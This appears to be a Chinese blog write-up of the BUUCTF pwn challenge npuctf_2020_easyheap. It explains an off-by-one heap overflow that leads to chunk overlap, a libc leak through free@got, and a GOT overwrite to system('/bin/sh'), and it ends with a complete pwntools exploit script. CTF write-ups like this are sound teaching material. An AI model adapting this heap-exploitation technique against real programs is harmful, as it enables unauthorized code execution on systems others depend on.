[BUUCTF]PWN——npuctf_2020_easyheap

本文详细介绍了如何利用64位程序的off-by-one漏洞和堆块重叠,通过修改chunk大小和地址,泄露libc并计算system函数地址,最终执行`system('/bin/sh')`获取shell的过程。涉及的技术包括ida分析、内存布局操控和libc利用。
摘要由CSDN通过智能技术生成

npuctf_2020_easyheap

附件

步骤:

  1. 例行检查,64位程序,开启了canary和nx
    在这里插入图片描述
  2. 本地试运行一下,看看大概的情况,经典的堆题的菜单
    在这里插入图片描述
  3. 64位ida载入
    add()
    在这里插入图片描述
    edit()在这里插入图片描述
    show()
    在这里插入图片描述
    delete()
    在这里插入图片描述

利用思路

  1. 通过 off by one 漏洞,修改下一个 chunk 的 size 为 0x41 大小,这样 free 之后就能造成堆块重叠。
  2. 通过堆块重叠,修改记录 size 与 chunk_addr 的 chunk 中的 chunk_addr 为 free函数的 got 表地址,然后通过show打印泄露libc
  3. 获取libc后就能计算出system的地址,再次通过off-by-one修改free@got为 system 的地址,当主函数再次执行delete(chunk2)的时候,结合 “/bin/sh” 参数,实现 system(’/bin/sh’) 获取shell

利用过程

  1. 构造堆块重叠
    创建堆块
add(0x18,'aaaa')
add(0x18,'bbbb')
add(0x18,'/bin/sh\x00')

此时堆的布局
在这里插入图片描述
利用off-by-one,通过修改chunk0来修改chunk1的size,这样释放chunk1的话就会构成重叠堆

edit(0,'a'*0x18+'\x41')
delete(1)

此时的堆布局
在这里插入图片描述

  1. 构造好重叠堆块后,通过编辑new_chunk_1来将记录chunk2地址的地方改为free@got,然后通过show来泄露libc,有了libc就可以计算system函数的地址了
payload='a'*0x10+p64(0)+p64(0x21)+p64(0x100)+p64(elf.got['free'])
add(0x38,payload)
show(1)

p.recvuntil('Content : ')
libcbase=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-libc.symbols['free']
system_addr=libcbase+libc.symbols['system']

此后的堆布局,已经将chunk1_addr改成了free@got的地址
在这里插入图片描述

  1. 最后修改free@got的地址为system的地址,然后执行delete(chunk2),从而执行了system(‘/bin/sh’),获取了shell
edit(1,p64(system_addr))
delete(2)
p.interactive() 

成功将free@got地址改成了system地址
在这里插入图片描述

完整exp:

from pwn import * 

p=process('./npuctf_2020_easyheap')
#p=remote('node3.buuoj.cn',28132)

elf=ELF('./npuctf_2020_easyheap')
context.log_level="debug"
libc=ELF('./libc-2.27-64.so')

def add(size,content):
	p.sendlineafter('Your choice :',str(1))
	p.sendlineafter('Size of Heap(0x10 or 0x20 only) : ',str(size))
	p.sendlineafter('Content:',content)

def edit(index,content):
	p.sendlineafter('Your choice :',str(2))
	p.sendlineafter('Index :',str(index))
	p.recvuntil("Content: ")
	p.send(content)

def show(idx):
	p.sendlineafter('Your choice :',str(3))
	p.sendlineafter('Index :',str(idx))

def delete(idx):
	p.sendlineafter('Your choice :',str(4))
	p.sendlineafter('Index :',str(idx))

add(0x18,'aaaa')
add(0x18,'bbbb')
add(0x18,'/bin/sh\x00')

edit(0,'a'*0x18+'\x41')
delete(1)

payload='a'*0x10+p64(0)+p64(0x21)+p64(0x100)+p64(elf.got['free'])
add(0x38,payload)
#gdb.attach(p)
show(1)

p.recvuntil('Content : ')
libcbase=u64(p.recvuntil('\x7f').ljust(8,'\x00'))-libc.symbols['free']
system_addr=libcbase+libc.symbols['system']

edit(1,p64(system_addr))
#gdb.attach(p)
delete(2)
p.interactive()

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值